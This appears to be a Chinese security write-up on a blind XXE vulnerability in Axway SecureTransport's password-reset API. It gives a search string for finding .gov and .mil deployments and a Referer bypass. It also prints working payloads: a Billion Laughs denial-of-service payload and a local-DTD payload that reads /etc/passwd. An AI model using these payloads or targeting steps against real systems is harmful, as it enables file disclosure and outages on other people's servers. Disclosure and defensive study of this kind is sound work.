一次Blind-XXE漏洞挖掘之旅
字数 961 2025-08-26 22:11:57
Blind-XXE漏洞挖掘与利用技术详解
0x01 漏洞背景
0x01.1 目标系统概述
Axway SecureTransport是一款企业级多协议MFT(Managed File Transfer)网关,用于:
- 保护、管理和跟踪企业内部文件传输
- 支持用户社区、云和移动设备安全传输
- 处理大容量高速安全文件传输
- 支持系统间、网站间、业务线间及合作伙伴间的文件传输
0x01.2 目标系统使用范围
通过Google搜索语法可发现政府(.gov)和军事(.mil)机构广泛使用:
intitle:"Axway SecureTransport" "Login" (site:mil OR site:gov)
0x02 漏洞发现过程
0x02.1 攻击面分析
- 企业软件通常需要凭据访问
- 当前权限下尝试功能测试
0x02.2 关键代码分析
在login.js中发现关键代码段:
var parameters = "<resetPassword><email>" + userEmail + "</email></resetPassword>";
$.ajax({
url : "/api/v1.0/myself/resetPassword",
type : 'POST',
contentType : 'application/xml',
data : parameters,
cache: false,
success: function(data) {
// 成功处理逻辑
}
});
0x02.3 初步测试
- 直接GET请求
/api/v1.0/myself/resetPassword返回错误 - 添加Referer头
localhost绕过白名单检查 - 发送空XML文档导致解析错误:
{
"message": "javax.xml.bind.UnmarshalException - with linked exception:
[org.xml.sax.SAXParseException; Premature end of file.]"
}
0x02.4 XML结构探测
- 测试无效标签
<test>:
{
"message": "javax.xml.bind.UnmarshalException: unexpected element (uri:\"\", local:\"test\").
Expected elements are <{}resetPassword>"
}
- 构建完整有效XML:
<?xml version="1.0" encoding="UTF-8"?>
<resetPassword>
<email>lol@lol.lol</email>
</resetPassword>
服务器返回204响应,确认XML解析成功
0x03 漏洞确认
0x03.1 XXE测试
尝试定义外部实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY exists SYSTEM "file:///">
]>
<resetPassword>
<email>&exists;&doesnt;</email>
</resetPassword>
返回错误确认实体解析:
{
"message": "javax.xml.bind.UnmarshalException - with linked exception:
[org.xml.sax.SAXParseException; lineNumber: 6; columnNumber: 25;
The entity \"doesnt\" was referenced, but not declared.]"
}
0x04 漏洞利用技术
0x04.1 利用限制
- 服务器不返回有效内容(盲注)
- 防火墙阻断外部请求
- 无源代码访问权限
0x04.2 SSRF Payload
利用XXE发起服务端请求攻击内部服务
0x04.3 DoS攻击Payload
Billion Laughs攻击变体:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
0x04.4 本地DTD再利用技术
利用系统已有DTD文件进行攻击:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<resetPassword></resetPassword>
0x05 防御建议
- 禁用XML外部实体解析
- 实施严格的输入验证
- 使用更安全的解析器配置
- 限制XML文档复杂度
- 实施网络层防护措施
附录:关键测试步骤总结
- 发现XML端点:
/api/v1.0/myself/resetPassword - 绕过Referer检查:设置Referer为
localhost - 确认XML结构:
<resetPassword><email>value</email></resetPassword> - 测试XXE基础payload
- 根据环境选择利用技术(SSRF/DoS/本地DTD再利用)